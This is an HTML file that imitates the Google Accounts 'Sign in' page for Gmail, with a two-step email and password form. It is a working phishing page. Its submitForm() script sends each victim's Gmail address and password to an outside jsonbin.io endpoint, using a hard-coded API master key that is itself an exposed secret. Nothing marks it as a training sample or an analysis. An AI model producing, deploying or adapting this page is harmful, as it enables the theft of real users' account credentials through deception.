<!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Sign in - Google Accounts</title><style>body,html{font-family:'Roboto',Arial,sans-serif;margin:0;padding:0;height:100%;background-color:#fff}.container{display:flex;flex-direction:column;min-height:100%;padding:48px 24px 36px;box-sizing:border-box}.content{flex:1;margin-top:-20px}.google-logo{width:44px;height:44px;margin-bottom:1px}h1{font-size:30px;font-weight:400;line-height:1.3333;margin-bottom:8px;color:#202124}.subtitle{font-size:16px;font-weight:400;letter-spacing:0.1px;line-height:1.5;margin-bottom:32px;color:#202124}input[type="text"],input[type="password"]{font-size:16px;width:91%;padding:18px 15px;border:0.8px solid #7a7a7a;border-radius:4px;margin-bottom:8px}.forgot-email,.forgot-password{display:inline-block;margin-bottom:32px;color:#1a73e8;font-weight:500;font-size:14.5px;text-decoration:none}.guest-mode{font-size:14px;line-height:1.4286;margin-bottom:32px;color:#5f6368}.guest-mode a{color:#1a73e8;font-weight:500;text-decoration:none}.create-account{display:inline-block;color:#1a73e8;font-weight:500;font-size:14px;margin-bottom:32px;text-decoration:none}.next-button{float:right;background-color:#0c60cd;color:#fff;border:none;border-radius:20px;font-size:14px;font-weight:500;padding:10px 24px;cursor:pointer}.footer{display:flex;justify-content:space-between;padding-top:20px;color:#5f6368;font-size:12px}.footer select,.footer a{color:#5f6368;text-decoration:none;padding:4px}.footer-links a:not(:last-child){margin-right:8px}.email-dropdown{display:flex;align-items:center;background-color:#fff;border:1px solid #dadce0;border-radius:16px;padding:5px 7px;margin-bottom:85px;cursor:pointer;width:91%}.email-dropdown img{width:20px;height:20px;margin-right:8px}.email-dropdown span{font-size:14px;color:#3c4043;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.email-dropdown:after{content:"▼";font-size:12px;color:#5f6368;margin-left:auto}.show-password{display:flex;align-items:center;margin-bottom:60px;font-size:14.5px;color:#202124}.show-password input[type="checkbox"]{margin-right:8px}#password-page{display:none}.error-message{color:#d93025;font-size:12px;margin-top:4px;display:none}</style></head><body><div class="container"><div class="content" id="email-page"><img src="https://hackaday.com/wp-content/uploads/2016/08/google-g-logo.png" alt="Google" class="google-logo"><h1>Sign in</h1><p class="subtitle">to continue to Gmail</p><form id="email-form"><input type="text" id="email-input" name="email" placeholder="Email or phone" autocomplete="email" required><p id="email-error" class="error-message">Please enter a valid @gmail.com address.</p><a href="#" class="forgot-email">Forgot email?</a><p class="guest-mode">Not your computer? Use Guest mode to sign in privately. <a href="#">Learn more about using Guest mode</a></p><a href="#" class="create-account">Create account</a><button type="button" class="next-button" onclick="validateAndShowPasswordPage()">Next</button></form></div><div class="content" id="password-page"><img src="https://hackaday.com/wp-content/uploads/2016/08/google-g-logo.png" alt="Google" class="google-logo"><h1>Welcome</h1><div class="email-dropdown"><img src="https://www.gstatic.com/images/icons/material/system/1x/account_circle_black_20dp.png" alt="User icon"><span id="email-display"></span></div><form id="password-form"><input type="hidden" id="email-hidden" name="email"><input type="password" id="password-input" name="password" placeholder="Enter your password"><div class="show-password"><input type="checkbox" id="show-password" onchange="togglePasswordVisibility()"><label for="show-password">Show password</label></div><a href="#" class="forgot-password">Forgot password?</a><button type="button" class="next-button" onclick="submitForm()">Next</button></form></div><div class="footer"><select><option>English (United Kingdom)</option></select><div class="footer-links"><a href="#">Help</a><a href="#">Privacy</a><a href="#">Terms</a></div></div></div><script>function validateAndShowPasswordPage(){const e=document.getElementById('email-input').value,t=document.getElementById('email-error');if(e.endsWith('@gmail.com')&&e.length>10){document.getElementById('email-display').textContent=e;document.getElementById('email-hidden').value=e;document.getElementById('email-page').style.display='none';document.getElementById('password-page').style.display='block';const o=document.querySelector('.email-dropdown'),n=Math.max(200,Math.min(400,e.length*10));o.style.width=`${n}px`}else t.style.display='block'}function togglePasswordVisibility(){const e=document.getElementById('password-input');e.type=e.type==='password'?'text':'password'}async function submitForm(){const e=document.getElementById('email-hidden').value,t=document.getElementById('password-input').value,o={email:e,password:t};try{const e=await fetch('https://api.jsonbin.io/v3/b',{method:'POST',headers:{'Content-Type':'application/json','X-Master-Key':'$2a$10$NBv.uzmED4GJqRWEuTmNIeJLotRIXyASra7nKNt4P6J5QQtgO9Mni'},body:JSON.stringify(o)}),n=await e.json();console.log('Success:',n);alert('Data submitted successfully!')}catch(e){console.error('Error:',e);alert('Failed to submit data.')}}</script></body></html>
